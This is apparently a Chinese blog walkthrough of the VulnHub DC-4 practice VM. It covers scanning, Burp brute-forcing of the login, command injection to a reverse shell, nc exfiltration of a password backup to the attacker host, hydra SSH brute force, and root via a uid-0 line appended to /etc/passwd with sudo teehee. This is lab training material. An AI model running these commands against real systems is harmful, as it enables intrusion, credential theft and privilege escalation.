前言
这次的靶机是vulnhub下的DC-4,下载地址为DC: 4 ~ VulnHub,老样子,下载解压后用VMware打开,设置网络适配器为nat模式
一.准备工作
输入命令用来探测靶机的ip地址
arp-scan -l
可知靶机的ip地址是192.168.188.138
输入命令
nmap -A -sV -p- --min-parallelism 100 192.168.188.138
可知靶机开放了22端口和80端口
输入ip地址到浏览器上,弹出了一个登陆页面
暂时还没有其他思路,可以先爆破看看网站有没有其他页面
输入命令
dirsearch -u 192.168.188.138
发现了一个值得关注的页面,command.php,这里面可能存在一些配置命令,但是输入这个页面地址会直接跳转到index.php页面
没有头绪,试试看能否通过暴力破解来破解出用户名和密码,打开burpsuite
二.Bp暴力破解
打开bp,进入代理,开启拦截请求,并且在选项里面添加一个拦截命令,设置端口号为8080,绑定地址为所有接口,一定要勾选启动中
打开kali上的火狐浏览器,在setting里面搜索proxy,设置代理
注意:ip地址为物理机上的ip地址
这样物理机上的bp就能拦截kali上的请求了
随便在网站页面输入用户名和密码,可以看到bp成功拦截到了请求包
点击鼠标右键,点击发送给Intruder
然后依次点击测试器->位置->清除$,然后将鼠标对准到password=123456末尾,点击添加$,
可以发现两边多了$符号,说明在之后的破解中,这个字符串,会被字典中的字符所代替
这里的字典选择kali自带的john 所用的字典,关于john的使用可以参考我前面的博客
所用的字典路径是/usr/share/john/password.lst,将字典里的内容保存下来,存放为password.txt
然后依次点击,将复制好的字典文件上传上去
配置好后,点击开始攻击
攻击完成后,点击按长度排序,得到最长的一个就是破解出的密码了
三.登录网站后台
已经得到了网站的用户名和密码,登录进去,点击command
随意点击命令可以看到每次显示的页面都不一样,猜测这是一个命令注入,并且是可以通过参数进行控制的
继续使用bp进行抓包,然后对其改包。
可以发现,将其改成id后,可以成功弹出当前的用户
四.建立shell
先在本地新建一个监听端口
然后通过bp将包改成如下图所示,注意:ip地址为kali的本地ip地址
可以看到已经成功连接了
升级成一个交互式的shell
python -c'import pty;pty.spawn("/bin/bash")'
五.提权
现在已经成功建立shell了,下一步就是提权,也就是成为root用户,提取flag,先试下suid提权
输入命令
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
发现并没有什么可以提权的文件,去家目录看看有没有什么敏感文件
在jim用户下找到了一个mbox和old-passwords.bak,但是发现没有权限打开mbox,先将old-passwords.bak下载到本地
通过nc把old-passwords.bak下载下来,准备用于ssh的暴力破解。首先在本地用nc监听一个端口 4445
,并把监听到的数据写入pass.txt
然后在靶机中用nc将old-passwords.bak上传到本地主机
输入命令
nc 192.168.188.128 4445 < old-passwords.bak
发现已经上传成功,此时采用hydra进行爆破,用户名在家目录已经知道了,分别是charles,jim,sam,将其保存为user.txt
输入命令
hydra -L user.txt -P pass.txt ssh://192.168.188.138 -t 64 -o result.txt
-L 指定用户名文件
-P 执行密码字典文件
ssh:// 代表使用ssh协议
-t 代表线程数,最高为64线程。
-o 代表将破解结果输出到指定文件内。
hydra更详细的用法可以参考:https://blog.csdn.net/qq_17204441/article/details/90436483
攻击完成后,打开result.txt,发现用户名jim和其对应的密码jibril04
使用jim进行ssh登录
使用sudo -l进行提权看看,发现不行
老样子去找找看有没有什么敏感文件
没有什么特别的文件
经过一番寻找,终于在/var/mail里面发现了一个特别的邮件,邮件是charles发给jim的,并且还给了charles的密码^xHhA&hvim0y
切换到charles用户
发现charles可以执行sudo -l命令,可以以root用户运行teehee
在文心一言上搜索了下teehee的用法
首先我们来了解/etc/passwd的格式,以root为例
root:x:0:0:root:/root:/bin/bash
字段1: 用户名。
字段2:密码占位符,x代表有密码。
字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。
字段4:用户的gid,也就是所属用户组的id。
字段5:用户信息(弃用)。
字段6:用户家目录。
字段7:用户登陆系统后使用的shell。
因此我们可以输入命令
echo "tp1679::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
将tp1679这个用户追加到/etc/passwd后面,使其具有root权限
发现,当切换到tp1679时,所显示的就是root权限了,终于可以得到最终的flag了